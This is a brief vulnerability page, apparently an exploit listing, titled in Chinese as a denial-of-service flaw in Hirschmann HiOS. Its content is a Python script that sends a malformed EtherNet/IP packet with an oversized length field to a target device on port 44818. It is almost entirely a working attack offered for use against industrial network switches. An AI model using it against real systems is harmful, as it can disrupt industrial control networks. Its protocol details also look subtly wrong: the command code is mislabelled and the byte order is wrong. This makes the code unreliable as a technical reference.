CVE-2020-37216 Hirschmann HiOS 拒绝服务漏洞

import socket import struct # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 44818 # Default EtherNet/IP port def create_malicious_packet(): # EtherNet/IP Header structure (simplified) # Command: 0x0063 (SendRRData) # Length: Malicious value (e.g., 0xFFFF) larger than actual size command = struct.pack('>H', 0x0063) length = struct.pack('>H', 0xFFFF) # Malicious length session_handle = struct.pack('>I', 0) status = struct.pack('>I', 0) sender_context = struct.pack('>Q', 0) options = struct.pack('>I', 0) enip_header = command + length + session_handle + status + sender_context + options return enip_header try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malicious_packet() sock.sendto(payload, (TARGET_IP, TARGET_PORT)) print(f"Packet sent to {TARGET_IP}:{TARGET_PORT}") sock.close() except Exception as e: print(f"Error: {e}")